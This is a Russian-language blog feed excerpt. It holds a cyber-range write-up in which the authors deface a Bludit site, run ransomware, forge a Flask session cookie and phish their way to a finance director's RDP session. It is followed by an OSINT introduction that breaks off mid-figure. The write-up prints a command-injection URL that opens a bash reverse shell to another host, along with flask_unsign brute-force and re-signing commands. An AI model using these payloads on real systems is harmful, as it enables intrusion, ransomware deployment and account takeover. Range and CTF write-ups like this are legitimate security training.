  &lt;p id=&quot;7QPX&quot;&gt;Нашей первой жертвой стал портал city.standalone.stf с задачей выполнить дефейс – несанкционированное изменение главной страницы сайта.&lt;/p&gt;
  &lt;figure id=&quot;ZhMx&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b9/aa/b9aaaf97-2099-4d75-9adb-de4c19eeed3a.png&quot; width=&quot;2598&quot; /&gt;
    &lt;figcaption&gt;Недопустимое событие 1&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Gqdh&quot;&gt;Сканирование показало открытый 80 порт, на котором нас ждал лендинг: &lt;/p&gt;
  &lt;figure id=&quot;IIJ2&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/45/ec/45ecb7ef-f847-4303-89e4-f8654e70b93f.png&quot; width=&quot;3600&quot; /&gt;
    &lt;figcaption&gt;Landing city&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;HyCl&quot;&gt;В сурс коде мы нашли информацию об используемом Bludut-3.9.2:&lt;/p&gt;
  &lt;figure id=&quot;dDRM&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c8/82/c8823a69-e740-4d2b-909f-fa682e88f650.png&quot; width=&quot;2070&quot; /&gt;
    &lt;figcaption&gt;Bludit-3.9.2&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;1MVU&quot;&gt;Да, да..&lt;/p&gt;
  &lt;figure id=&quot;pcJi&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/62/e4/62e4b267-b3db-4993-95e2-7a1d7584ff0b.png&quot; width=&quot;1216&quot; /&gt;
    &lt;figcaption&gt;cve bludit&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;NtJG&quot;&gt;Далее мы воспользовались фреймворком Metasploit и получили удаленное выполнение кода на сервере:&lt;/p&gt;
  &lt;figure id=&quot;ipNi&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/15/85/15855f0c-b72e-42c4-8525-4d402359d8dc.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;RCE&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;B3kg&quot;&gt;Чуть позднее обнаружили cap на python3.9 и зарутили тачку: &lt;/p&gt;
  &lt;figure id=&quot;ZwND&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/95/bd/95bde875-1e38-4aad-9a62-8a87cc557a4f.png&quot; width=&quot;1076&quot; /&gt;
    &lt;figcaption&gt;www-data -&amp;gt; root&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;bYNk&quot;&gt;Ну и, наконец, сам дефейс. Недопустимое событие реализовано. &lt;/p&gt;
  &lt;figure id=&quot;ymjd&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a3/50/a35074aa-bb06-40fc-ae42-4df955e332c2.png&quot; width=&quot;3600&quot; /&gt;
    &lt;figcaption&gt;Defaced&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;yojP&quot;&gt;2. Захват информационного портала &lt;/h2&gt;
  &lt;p id=&quot;8pRw&quot;&gt;Следующей целью стал портал tube.standalone.stf с задачей запустить на нем вирус-шифровальщик от имени пользователя root:&lt;/p&gt;
  &lt;figure id=&quot;dbvj&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/cb/71/cb714325-fe6d-4833-92b2-e4541835f546.png&quot; width=&quot;2616&quot; /&gt;
    &lt;figcaption&gt;Недопустимое событие 2&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;TZas&quot;&gt;Сканирование вновь показала открытый 80 порт и мы вновь начали с изучения лендинга:&lt;/p&gt;
  &lt;figure id=&quot;Bvrk&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d1/a9/d1a972a6-ca2e-4899-998b-7735e875decc.png&quot; width=&quot;3588&quot; /&gt;
    &lt;figcaption&gt;Tube landing&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;vM4o&quot;&gt;Беглое изучение сурсов привело нас на путь &lt;code&gt;/api/getDate.php&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;Sw3A&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c2/cc/c2ccaaed-f969-47f8-907c-aaa6e10d1282.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;getDate&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;DdrV&quot;&gt;Любому опытному веберу уже наверняка очевиден вектор – у нас тут RCE на блюдечке:&lt;/p&gt;
  &lt;pre id=&quot;FJMu&quot;&gt;
http://10.124.249.7/api/getTime.php?format=%25B%20%25d%2c%20%25Y%3b%24(id)|echo%20mmxy2159y9%20tgodln8uzu||a%20%23%27%20|%2fbin%2fbash%20-i%20%3E%26%20%2fdev%2ftcp%2f10.127.236.244%2f3334%200%3E%261||a%20%23|%22%20|echo%20mmxy2159y9%20tgodln8uzu||a%20%23&lt;/pre&gt;
  &lt;p id=&quot;ie6a&quot;&gt;После получения реверс-шелла и спустя несколько дней перечисления ресурсов системы нам удалось выполнить повышение привилегий при помощи Looney Tunables, эксплуатирующего уязвимость в загрузчике glibc:&lt;/p&gt;
  &lt;figure id=&quot;zMQU&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/19/a6/19a6c5fd-2bcb-4408-8d84-1afdd77ad563.jpeg&quot; width=&quot;1046&quot; /&gt;
    &lt;figcaption&gt;privesc&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;zE5x&quot;&gt;Ну и далее дело оставалось за малым – загрузить и запустить шифровальщик:&lt;/p&gt;
  &lt;figure id=&quot;AtHw&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a9/a0/a9a0cea6-9cfb-4b61-8086-c475a69a2b31.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;Success&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;P4sh&quot;&gt;3. Несанкционированный доступ к исследовательским данным&lt;/h2&gt;
  &lt;p id=&quot;sB2i&quot;&gt;Плавно перемещаемся к следующему риску, на этот раз на ресурсе rnd.standalone.stf.&lt;/p&gt;
  &lt;figure id=&quot;FeAL&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/29/7a/297afa74-e632-4fc9-b8e0-1baa21a447d7.png&quot; width=&quot;2596&quot; /&gt;
    &lt;figcaption&gt;Недопустимое событие&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;FwGB&quot;&gt;Начинаем вновь в веба: &lt;/p&gt;
  &lt;figure id=&quot;Qi6A&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/26/8a/268a4d0e-1cd7-4199-9500-44946366ce1d.png&quot; width=&quot;3542&quot; /&gt;
    &lt;figcaption&gt;Home page&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;jdP4&quot;&gt;После регистрации и логина получаем доступ к функционалу смены пароля и недоступную для нас вкладку Researches.&lt;/p&gt;
  &lt;figure id=&quot;6FDm&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f8/0e/f80e9d0d-7933-4429-9536-4ec4862def41.png&quot; width=&quot;3554&quot; /&gt;
    &lt;figcaption&gt;Profile&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;LeYL&quot;&gt;Из интересного – какая-то сессионная кука session:&lt;/p&gt;
  &lt;figure id=&quot;q9BP&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2b/99/2b99cf22-ae1e-45c2-9fb3-7c993ba1273f.png&quot; width=&quot;1182&quot; /&gt;
    &lt;figcaption&gt;Cookie&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;9JHq&quot;&gt;Которая шустренько сбрутилась по словарю:&lt;/p&gt;
  &lt;pre id=&quot;WMsD&quot;&gt;┌──(kali㉿kali)-[~/vskb]
└─$ python3 -m flask_unsign -u --wordlist=/usr/share/wordlists/rockyou.txt --cookie &amp;#x27;.eJwdzkGuAjEIANC7dO2iQIHWy0wKlGhMNJnR1c-_uxN3b_n-ypb7Om7l-t4_61K2e5RrIbHZ0dMIQIcnnUKWdBPw7Mg5oy1NNgRV6yQjUebwOTCahkPtylObdkYJGj2gJoNUbxa4gJm6NkgWS4lQx8y1CAgbVvNyRj7H2n8baXopfuy5vV-P9Tx7Bo5VYuLAPkgTA6hXNTPVNtXGucImWv6_AfM-wA.Zu48cQ.PbC6DOitU7WFJg04BWp2vzNavoo&amp;#x27; --no-literal-eval
[*] Session decodes to: {&amp;#x27;_fresh&amp;#x27;: True, &amp;#x27;_id&amp;#x27;: &amp;#x27;36ba82cfb31179cf3fb3256fcb61cf825fad4e7f5b2177b8369f26a9ca92d47dc10875a7478526d398d10f5160c4bd2e15538741f56bf6dd7c2ffee3132420bc&amp;#x27;, &amp;#x27;_user_id&amp;#x27;: 647, &amp;#x27;csrf_token&amp;#x27;: &amp;#x27;b1c206da2928937f2d13807bbb774a7b92172467&amp;#x27;}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 897024 attemptsyr!
b&amp;#x27;key&lt;/pre&gt;
  &lt;p id=&quot;csZw&quot;&gt;Далее переподписываем куку с известным нам ключом:&lt;/p&gt;
  &lt;pre id=&quot;LxjW&quot;&gt;python3 -m flask_unsign --secret &amp;#x27;key&amp;#x27; --sign --cookie &amp;quot;{&amp;#x27;_fresh&amp;#x27;: True, &amp;#x27;_id&amp;#x27;: &amp;#x27;36ba82cfb31179cf3fb3256fcb61cf825fad4e7f5b2177b8369f26a9ca92d47dc10875a7478526d398d10f5160c4bd2e15538741f56bf6dd7c2ffee3132420bc&amp;#x27;, &amp;#x27;_user_id&amp;#x27;: 1, &amp;#x27;csrf_token&amp;#x27;: &amp;#x27;b1c206da2928937f2d13807bbb774a7b92172467&amp;#x27;}&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;9kMV&quot;&gt;И получаем доступ к панели админа и вкладке Researchers. &lt;/p&gt;
  &lt;p id=&quot;5xYN&quot;&gt;В истории версий одной из статьей находим ответ к заданию, тем самым реализуя это недопустимое событие:&lt;/p&gt;
  &lt;figure id=&quot;e6bm&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/85/cc/85cc56ef-4654-4a50-a9a3-9c509b78e61a.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;Research&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;mQCK&quot;&gt;4. Утечка конфиденциальной информации&lt;/h2&gt;
  &lt;p id=&quot;Lmkn&quot;&gt;Последним событием в рамках сегодняшней статьи рассмотрим утечку конфиденциальной информации с компьютера финансового директора компании. &lt;/p&gt;
  &lt;figure id=&quot;K56I&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e0/12/e0129a29-e7bc-49f7-8c87-6d0d4a978e06.png&quot; width=&quot;2592&quot; /&gt;
    &lt;figcaption&gt;Риск&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;DvuG&quot;&gt;Единственное задание на инфраструктуру в рамках данного ивента, приступим =)&lt;/p&gt;
  &lt;p id=&quot;kZJh&quot;&gt;Первым делом в ходе разведки мы собрали пару почтовых адресов HR-сотрудников с сайта: s_boyle@hte.stf и o_lara@hte.stf. Затем подготовили и отправили фишинговое письмо с встроенным reverse-shell макросом:  &lt;/p&gt;
  &lt;figure id=&quot;Jndl&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ee/13/ee13c125-d1f2-4bf6-912d-0f70bfa112c7.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;Phishing&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;0myX&quot;&gt;В результате получили реверс-шеллы с обоих хостов: &lt;/p&gt;
  &lt;figure id=&quot;610f&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/14/95/1495f128-7447-4fa1-a003-676733c80f59.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;s_boyle&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;zyWF&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0e/bb/0ebba916-2e95-4c67-8ee1-d1bc02c30ce8.jpeg&quot; width=&quot;842&quot; /&gt;
    &lt;figcaption&gt;o_lara&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;mDFl&quot;&gt;Далее мы пробросили meterpreter шелл и при помощи mimikatz сдампили пару паролей:&lt;/p&gt;
  &lt;figure id=&quot;YOE9&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c0/e1/c0e17dbd-1786-433d-b6c3-571ab42f9dff.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;mimikatz&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;yk7n&quot;&gt;Проверив полученную учетку мы убедились, что нашли админа...&lt;/p&gt;
  &lt;figure id=&quot;fKN5&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/26/a8/26a84d94-0bbc-49cb-ae86-127244229713.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;cme&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;V5Qn&quot;&gt;Или нет?&lt;/p&gt;
  &lt;figure id=&quot;453L&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/46/4e/464e5b89-6e8a-4ec0-b1ee-28540239d2a7.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;cme&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;9d89&quot;&gt;Продолжаем разведку, при помощи утилиты ldapdomaindump мы собрали информацию о хостах в домене:&lt;/p&gt;
  &lt;figure id=&quot;IbOM&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/16/c6/16c67575-e216-49a5-89ac-8dae2a923636.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;ldapdomaindump&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;r75q&quot;&gt;И открыли для себя наличие трастового домена sun.hte.stf, по этой причине наш админ и не оказался админом на втором хосте:&lt;/p&gt;
  &lt;figure id=&quot;QwTX&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/41/70/41702549-0fc0-4b14-ad13-b87477096191.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;ldapdomaindump&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;U0H5&quot;&gt;Путешествуя по хостам, на одном из них была найдена база данных keepass – лакомый кусочек. Мы скрутили его при помощи john the ripper&lt;/p&gt;
  &lt;figure id=&quot;xgHh&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e3/aa/e3aaddb3-6405-45f1-939b-ad99cb269704.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;Keepass&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Gzf4&quot;&gt;Внутри нашли пачку паролей, как раз админы домена sun.hte.stf – то что нужно!&lt;/p&gt;
  &lt;figure id=&quot;RlcA&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/64/79/6479227b-48b4-4b7a-9677-6519149f881f.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;Keepass&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Vzjo&quot;&gt;Падаем на RDP финансового директора и реализуем недопустимое событие&lt;/p&gt;
  &lt;figure id=&quot;PC34&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/60/88/60883481-6a53-4eea-a28d-12aef29e31d1.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;RDP&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;TCGt&quot;&gt;Заключение&lt;/h2&gt;
  &lt;p id=&quot;jeIf&quot;&gt;На сегодня это все, в следующем материале разберем оставшиеся 3 недопустимых события – поломаем википедию, курьерскую службу и...казино! До встречи =) &lt;/p&gt;

</content></entry><entry><id>collapsz:70JUy6JiKCN</id><link rel="alternate" type="text/html" href="https://teletype.in/@collapsz/70JUy6JiKCN?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=collapsz"></link><title>OSINT – Open Source Intelligence</title><published>2024-09-21T05:34:58.904Z</published><updated>2024-09-23T03:14:56.143Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/78/6a/786a8f65-8903-4ac0-a676-db754f852d78.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/36/13/3613f5f3-971f-4e92-957c-aa5b3b04b131.png&quot;&gt;@fefuctf @collapsz</summary><content type="html">
  &lt;p id=&quot;VuCk&quot;&gt;@fefuctf @collapsz&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;pLFX&quot;&gt;Вступление&lt;/h2&gt;
  &lt;p id=&quot;wKWp&quot;&gt;Всем привет! &lt;/p&gt;
  &lt;p id=&quot;0JFQ&quot;&gt;Сегодня в деталях познакомимся с тем, что из себя представляет разведка по открытым источникам – Open Source Intelligence или же просто OSINT. Посмотрим на её CTF проявлениях, поговорим об используемых инструментах и посмотрим, где это может пригодиться в карьере будущего специалиста. &lt;/p&gt;
  &lt;p id=&quot;rK9M&quot;&gt;Приятного прочтения! &lt;/p&gt;
  &lt;figure id=&quot;pxMp&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/36/13/3613f5f3-971f-4e92-957c-aa5b3b04b131.png&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;iVSL&quot;&gt;Что такое OSINT?&lt;/h2&gt;
  &lt;p id=&quot;iW0Y&quot;&gt;Open Source Intelligence (OSINT) — это дисциплина, посвященная сбору и анализу информации из открытых источников, доступных в интернете. Это может охватывать широкий спектр данных, которые можно найти практически в любых уголках сети.&lt;/p&gt;
  &lt;p id=&quot;8ZXq&quot;&gt;Существуют и другие виды разведки, такие как:&lt;/p&gt;
  &lt;ul id=&quot;LkpD&quot;&gt;
    &lt;li id=&quot;ZqtF&quot;&gt;&lt;strong&gt;HUMINT (Human Intelligence)&lt;/strong&gt; — сбор информации через взаимодействие с людьми, включая беседы, допросы и наблюдение.&lt;/li&gt;
    &lt;li id=&quot;tt3n&quot;&gt;&lt;strong&gt;SIGINT (Signal Intelligence)&lt;/strong&gt; — анализ радиомагнитного излучения для получения разведывательных данных.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;AWpk&quot;&gt;Главное отличие OSINT от других способов разведки заключается в том, что вся информация, используемая в этом процессе, доступна общественности. Это делает OSINT уникальным инструментом, позволяющим получать важные сведения без необходимости доступа к закрытым или засекреченным данным.&lt;/p&gt;
  &lt;h2 id=&quot;KmSD&quot;&gt;Почему OSINT так важен и популярен?&lt;/h2&gt;
  &lt;p id=&quot;JfB2&quot;&gt;На начальных этапах своей карьеры многие даже не задумываются о том, на сколько в современных реалиях распространен, важен и популярен OSINT. Вот некоторые из областей его применения:&lt;/p&gt;
  &lt;ol id=&quot;gD9V&quot;&gt;
    &lt;li id=&quot;vPA5&quot;&gt;&lt;strong&gt;Бизнес&lt;/strong&gt;:&lt;/li&gt;
    &lt;ul id=&quot;6Hrn&quot;&gt;
      &lt;li id=&quot;ZzRH&quot;&gt;Анализ конкурентной среды, выявление рыночных тенденций и возможностей.&lt;/li&gt;
      &lt;li id=&quot;apoW&quot;&gt;Оценка репутации бренда через мониторинг отзывов и упоминаний в социальных сетях.&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;FEY4&quot;&gt;&lt;strong&gt;Безопасность&lt;/strong&gt;:&lt;/li&gt;
    &lt;ul id=&quot;vA9I&quot;&gt;
      &lt;li id=&quot;AYhb&quot;&gt;Выявление угроз, связанных с кибербезопасностью, через анализ открытых данных о потенциальных уязвимостях.&lt;/li&gt;
      &lt;li id=&quot;KnEF&quot;&gt;Мониторинг активностей групп, представляющих риск для информационной безопасности.&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;ZguD&quot;&gt;&lt;strong&gt;Правительство&lt;/strong&gt;:&lt;/li&gt;
    &lt;ul id=&quot;AYc1&quot;&gt;
      &lt;li id=&quot;PFL6&quot;&gt;Анализ общественного мнения и социальных движений для поддержки принятия политических решений.&lt;/li&gt;
      &lt;li id=&quot;oVNu&quot;&gt;Оценка международной ситуации, включая мониторинг новостей и публикаций из других стран.&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;fkcf&quot;&gt;&lt;strong&gt;Журналистика&lt;/strong&gt;:&lt;/li&gt;
    &lt;ul id=&quot;iHbr&quot;&gt;
      &lt;li id=&quot;eMhL&quot;&gt;Проверка фактов и получение информации для расследований через открытые источники.&lt;/li&gt;
      &lt;li id=&quot;g0Qx&quot;&gt;Сбор контента и мнений для создания объективных новостных материалов.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;VQsV&quot;&gt;Из интересных реальных кейсов могу порекомендовать ознакомиться с &lt;a href=&quot;https://habr.com/ru/articles/833960/&quot; target=&quot;_blank&quot;&gt;этим.&lt;/a&gt; В данном расследовании показано, как при помощи методов открытой разведки удалось установить точное местоположение главаря банды, разыскиваемого ФБР. Да, и такое бывает – данный тип разведки называется &lt;strong&gt;GEOINT.&lt;/strong&gt;&lt;/p&gt;
  &lt;h2 id=&quot;4EcP&quot;&gt;Инструментарий&lt;/h2&gt;
  &lt;p id=&quot;veMl&quot;&gt;Как и многие другие задачи нашей сферы, сбор информации делится на ручной и автоматический. Для каждого из них существует свой набор инструментов.&lt;/p&gt;
  &lt;h3 id=&quot;llSg&quot;&gt;Ручной поиск&lt;/h3&gt;
  &lt;p id=&quot;UeDw&quot;&gt;Говоря о ручном поиске, первым делом в голову приходит использование различных поисковых систем, поскольку каждый из ныне существующих поисковиков выдает различные ответы на одинаковые запросы, что зачастую может быть полезным:&lt;/p&gt;
  &lt;figure id=&quot;ZoPj&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f0/b2/f0b22d4e-ce82-47ae-abf8-30b60b0a519f.png&quot; width=&quot;3600&quot; /&gt;
    &lt;figcaption&gt;difference&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;M6YI&quot;&gt;Мощнейшим апгрейдом Google является использование &lt;strong&gt;Google Dorking&lt;/strong&gt; — техники, позволяющей с помощью специальных ключей уточнять запрашиваемое содержимое. В рамках другой статьи мы более подробно рассмотрим эту тему, а сейчас приведем небольшой пример.&lt;/p&gt;
  &lt;p id=&quot;eDV2&quot;&gt;Запрос следующего вида вернет все индексированные .pdf и .doc файлы со строгим включением &amp;quot;Not for Public Release&amp;quot; и &amp;quot;Confedential&amp;quot;, не предназначенные для широкой аудитории:&lt;/p&gt;
  &lt;figure id=&quot;rxhQ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f4/fa/f4faf72b-aac2-47f1-8459-cf15132ca4bd.png&quot; width=&quot;2744&quot; /&gt;
    &lt;figcaption&gt;Dorks&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;udUZ&quot;&gt;История помнит реальный кейс, когда через такой подход произошла утечка  документов Министерства обороны США.&lt;/p&gt;
  &lt;p id=&quot;9P6f&quot;&gt;В качестве помощников для доркинга можно привести инструменты DorkGPT и DorkGenius.&lt;/p&gt;
  &lt;h3 id=&quot;KsWA&quot;&gt;Reverse Image Search&lt;/h3&gt;
  &lt;p id=&quot;5M1h&quot;&gt;Поиском по картинке сегодня уже никого не удивишь, однако мало кто задумывался, что у этого явления есть свое определение в контексте разведки по открытым источникам. &lt;/p&gt;
  &lt;p id=&quot;VCog&quot;&gt;Это называется &lt;strong&gt;Reverse Image Search – &lt;/strong&gt;процесс поиска информации об изображении, использующий технику CBIR (Content Based Image Retrival). Поисковой движок анализирует содержимое изображения и возвращает наиболее релевантные результаты (работает примерно так же, как полнотекстовый поиск, просто с добавлением распознания изображений).&lt;/p&gt;
  &lt;figure id=&quot;zeVe&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a1/2f/a12fd040-f6c3-41c0-be4a-99dc86dda1c1.png&quot; width=&quot;3570&quot; /&gt;
    &lt;figcaption&gt;RIS&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;iHY3&quot;&gt;Из наиболее используемых можно выделить Google Images, Yandex Images, Yahoo Image Search, Baidu Image Search и TinEye.&lt;/p&gt;
  &lt;h3 id=&quot;L5AE&quot;&gt;Автоматизированный поиск&lt;/h3&gt;
  &lt;p id=&quot;PXod&quot;&gt;Автоматизированный поиск, как можно догадаться, подразумевает использование утилит для сбора информации.&lt;/p&gt;
  &lt;figure id=&quot;NChC&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/51/25/5125aa85-4601-4593-af81-3999151594e3.png&quot; width=&quot;920&quot; /&gt;
    &lt;figcaption&gt;sherl&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Tyfe&quot;&gt;В качестве примера можно привести следующий набор:&lt;/p&gt;
  &lt;ul id=&quot;2MoJ&quot;&gt;
    &lt;li id=&quot;cpJm&quot;&gt;&lt;a href=&quot;https://github.com/saeeddhqan/Maryam&quot; target=&quot;_blank&quot;&gt;Maryam &lt;/a&gt;– утилита для поиска по имени/никнейму&lt;/li&gt;
    &lt;li id=&quot;VwuD&quot;&gt;&lt;a href=&quot;https://github.com/sherlock-project/sherlock&quot; target=&quot;_blank&quot;&gt;Sherlock &lt;/a&gt;– утилита для поиска пользователя по никнейму на различных ресурсах&lt;/li&gt;
    &lt;li id=&quot;2LST&quot;&gt;&lt;a href=&quot;https://github.com/laramies/theHarvester&quot; target=&quot;_blank&quot;&gt;TheHarvester&lt;/a&gt; – утилита для сбора почтовых ящиков, имен, поддменов и тд&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;jtN2&quot;&gt;Опытный OSINT-аналитик должен обладать навыками как ручного, так и автоматизированного поиска. В одном из следующих материалов, к слову, попробуем написать свой аналог Шерлока ;)&lt;/p&gt;
  &lt;h2 id=&quot;0p26&quot;&gt;CTF-like пример&lt;/h2&gt;
  &lt;p id=&quot;vZVG&quot;&gt;Предлагаю ознакомиться с одним из CTF заданий данной категории на примере задачки с &lt;a href=&quot;https://codeby.games&quot; target=&quot;_blank&quot;&gt;codeby.games&lt;/a&gt; – Пропавший хост&lt;/p&gt;
  &lt;figure id=&quot;UpXr&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e2/a9/e2a9164d-c706-4d1e-b8f0-55a8c5f9f671.png&quot; width=&quot;2212&quot; /&gt;
    &lt;figcaption&gt;task&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;3uLO&quot;&gt;В контексте задач по открытой разведке может пригодиться любой кусочек информации из описания, поэтому ознакомиться с ним нужно крайне внимательно:&lt;/p&gt;
  &lt;blockquote id=&quot;yt3E&quot;&gt;Мы обратились к специалистам по OSINT для определения геолокации IP-адреса, который, как известно, был одним из предыдущих IP-адресов сайта, предположительно связанного с неким виртуальным игровым проектом. Название этого проекта напоминает имя отрицательной корпорации, фигурирующей в одном из сериалов о хакерах. Информация о данном IP-адресе ограничивается лишь нахождением домена на этом IP-адресе в 2017. Ваша цель - определить широту и долготу искомого IP-адреса.&lt;/blockquote&gt;
  &lt;p id=&quot;VLLq&quot;&gt;Важные пункты, которые мы можем выделить из этого описания:&lt;/p&gt;
  &lt;ul id=&quot;WHYs&quot;&gt;
    &lt;li id=&quot;OKFE&quot;&gt;Виртуальный игровой проект&lt;/li&gt;
    &lt;li id=&quot;XwnI&quot;&gt;Сериал о хакерах&lt;/li&gt;
    &lt;li id=&quot;uQnK&quot;&gt;В сериале есть некая &amp;quot;отрицательная&amp;quot; корпорация&lt;/li&gt;
    &lt;li id=&quot;PkrM&quot;&gt;Год нахождения домена на IP-адресе — 2017&lt;/li&gt;
    &lt;li id=&quot;0YTn&quot;&gt;Необходимы широта и долгота адреса&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;T3Qv&quot;&gt;Начать проще всего с перебора сериалов о хакерах: &lt;/p&gt;
  &lt;figure id=&quot;02vh&quot; class=&quot;m_column&quot;&gt;
